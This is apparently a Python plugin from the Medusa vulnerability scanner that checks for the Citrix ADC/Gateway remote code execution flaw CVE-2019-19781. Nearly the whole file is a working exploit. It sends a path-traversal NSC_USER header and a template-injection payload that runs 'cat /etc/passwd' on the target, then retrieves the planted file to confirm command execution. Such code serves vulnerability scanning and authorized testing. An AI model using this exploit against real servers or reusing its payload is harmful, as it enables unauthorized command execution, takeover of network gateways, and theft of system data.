#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import ClassCongregation
import random
class VulnerabilityInfo(object):
    def __init__(self,Medusa):
        self.info = {}
        self.info['number']="CVE-2019-19781" #如果没有CVE或者CNVD编号就填0，CVE编号优先级大于CNVD
        self.info['author'] = "Ascotbe"  # 插件作者
        self.info['create_date'] = "2019-1-9"  # 插件编辑时间
        self.info['disclosure']='2019-1-7'#漏洞披露时间，如果不知道就写编写插件的时间
        self.info['algroup'] = "CitrixRemoteCodeExecutionVulnerability"  # 插件名称
        self.info['name'] ='Citrix远程代码执行漏洞' #漏洞名称
        self.info['affects'] = "Citrix"  # 漏洞组件
        self.info['desc_content'] = "攻击者可以对服务器进行任意命令执行，进而接管目标服务器"  # 漏洞描述
        self.info['rank'] = "高危"  # 漏洞等级
        self.info['suggest'] = "尽快升级最新系统"  # 修复建议
        self.info['version'] = "Citrix_ADC和Citrix_Gateway13.0\r\nCitrix_ADC和NetScaler_Gateway12.1\r\nCitrix_ADC和NetScaler_Gateway_12.0\r\nCitrix_ADC和NetScaler_Gateway_11.1\r\nCitrix_NetScaler_ADC和NetScaler_Gateway10.5"   # 这边填漏洞影响的版本
        self.info['details'] = Medusa  # 结果


def rand():
    H = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
    salt = ""
    for i in range(15):
        salt += random.choice(H)
    return salt

def medusa(**kwargs)->None:
    url=kwargs.get("Url")#获取传入的url参数
    Headers=kwargs.get("Headers")#获取传入的头文件
    proxies=kwargs.get("Proxies")#获取传入的代理参数
    payload = "/vpn/../vpns/portal/scripts/newbm.pl"
    payload_url = url+ payload
    randoms = rand()
    try:
        Headers1=Headers
        Headers1['Accept']= '*/*'
        Headers1['Accept-Language']='en'
        Headers1["Connection"]="close"
        Headers1["NSC_USER"]="../../../netscaler/portal/templates/{}".format(randoms)
        Headers1["NSC_NONCE"]="nsroot"

        data = "url=http://example.com&title={}&desc=[% template.new('BLOCK' = 'print `cat /etc/passwd`') %]".format(
            randoms)
        resp = requests.post(payload_url, data=data, headers=Headers1,proxies=proxies, timeout=5, verify=False,
                             allow_redirects=False)
        con = resp.text
        code = resp.status_code
        if code==200 and con.find("parent.window.ns_reload")!=-1:
            payload_url2=url+'/vpn/../vpns/portal/{}.xml'.format(randoms)
            Headers2=Headers
            Headers2["NSC_USER"]="nsroot"
            Headers2["NSC_NONCE"]="nsroot"
            Headers2["Upgrade-Insecure-Requests"]="1"
            Headers2["Cache-Control"]="max-age=0"
            Headers2['Accept']='*/*'
            Headers2['Accept-Language']='en'

            resp2 = requests.get(payload_url2, headers=Headers2, proxies=proxies,timeout=5, verify=False)
            con2=resp2.text
            code2=resp2.status_code
            if code2==200 and con2.find("root:")!=-1 and con2.find("bin:")!=-1 and con2.find("/root")!=-1:
                Medusa = "{} 存在Citrix远程代码执行漏洞(CVE-2019-19781)\r\n漏洞地址:\r\n{}\r\n使用POST数据包:\r\n{}\r\n返回数据包:\r\n{}\r\n".format(url,payload_url2,data,con2)
                _t=VulnerabilityInfo(Medusa)
                ClassCongregation.VulnerabilityDetails(_t.info, resp2,**kwargs).Write()  # 传入url和扫描到的数据
                ClassCongregation.WriteFile().result(str(url),str(Medusa))#写入文件，url为目标文件名统一传入，Medusa为结果
    except Exception as e:
        _ = VulnerabilityInfo('').info.get('algroup')
        ClassCongregation.ErrorHandling().Outlier(e, _)
        _l = ClassCongregation.ErrorLog().Write("Plugin Name:"+_+" || Target Url:"+url,e)#调用写入类
